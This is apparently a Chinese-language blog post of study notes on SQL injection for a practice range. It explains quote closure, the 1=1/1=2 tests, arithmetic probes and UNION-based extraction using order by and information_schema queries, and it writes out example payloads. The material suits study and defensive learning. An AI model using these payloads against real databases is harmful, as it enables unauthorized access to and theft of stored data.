SQL注入的原理分析

注意:仅用于技术讨论,切勿用于其他用途,一切后果与本人无关!!!

一、SQL注入本质

        用户输入的数据被当做SQL代码执行[  1.用户能够控制输入     2.]

        数据库查询语句        增、删、改、查

寻找:

        闭合(传入引号,让传入的引号和原本的引号配对、注释掉后面的引号)

        引号内的东西是数据不是代码

        select  *  from  news  where  id = "1"  and  1=1  -- qwe "

检测:

        检测SQL注入:

                and  1=1  正确

                and  1=2  错误

        如果数据库的字段是数字类型:强转

        数字运算法:-1        (注意:+不可以,get传参会把+理解为空格,将'+'url编码为%2b)

        select  *  from   news  where  id =2-1        =>返回1的值则一定存在

        先假设->去验证->根据结果->错的继续改,正确往下走

二、显错注入靶场做法       

如何通过SQL注入获取数据库信息(联合查询法)

        union联合查询(把两条语句一起执行)

        A语句  union  B语句(隐形条件:字段相同)

         B语句我们可以控制,所以我们需要知道A字段是多少 

         order  by        字段存在则正常输出,错误则报错

        排序(正常情况下开发一般只会输出第一条数据)

        显错位        选择性输出

        库名        database()        =>表名        =>字段名

        表名:

                1.系统自带库

                        tables=>数据库中库和表的对应

select table_name  from  information_schema.tables  where table_schema=database()  limit  0,1

                        columns=>

select  column_name  from information_schema.columns  where table_schema=database()  and  table_name="admin"  limit 0,1

                2.猜(枚举常用的库名)

                        union  select  1,2  from  admin(news ...)

步骤:

        order by        判断字段

        id = 1.1   union  select  1,2,3,4        判断显错位(使前面报错,从而不输出)

        通过系统自带的information_schema来得里面的表名

        limit  第几行开始输出(最低是0),输出几行数据

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值